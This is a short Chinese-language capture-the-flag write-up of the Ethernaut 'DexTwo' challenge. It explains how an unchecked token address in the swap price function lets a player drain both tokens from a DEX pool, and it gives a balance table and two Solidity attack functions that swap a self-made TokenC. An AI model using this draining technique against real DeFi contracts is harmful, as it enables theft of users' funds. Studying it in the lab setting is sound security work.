DexTwo

Reference

DexTwo

DexTwo.sol

目标

  1. 玩家持有TokenA,TokenB各10个
  2. Dex持有TokenA,TokenB各100个
  3. 榨干Dex池子中的 TokenATokenB

分析

price

    function getSwapPrice(
    address from,
    address to,
    uint256 amount
) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) /
        IERC20(from).balanceOf(address(this)));
}
  1. 在兑换Token时,通过 from/to 地址的Token数量锚定价格

  2. from/to 地址不可控

    playerTokenAplayerTokenBplayerTokenCDexTokenADexTokenBDexTokenC
    1010300100100100
    110102000100200
    110110000300
  3. 按照上述兑换表格,最后会清空 Dex 池子中的 TokenA,攻击者的 (TokenA,TokenB) 的余额从(10,10)更新为(110,110)

  4. 攻击swap1: 通过TokenC 兑换 TokenA

    function swap1() public {
        dex.swap(address(tokenC), address(tokenA), 100);
    }
  1. 攻击swap2: 通过TokenC 兑换 TokenB
    function swap2() public {
        dex.swap(address(tokenC), address(tokenB), 200);
    }